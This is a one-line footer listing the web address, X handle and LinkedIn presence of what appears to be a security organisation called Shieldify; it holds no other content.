SHIELDIFY.ORG · X.COM/SHIELDIFYSEC · LINKEDIN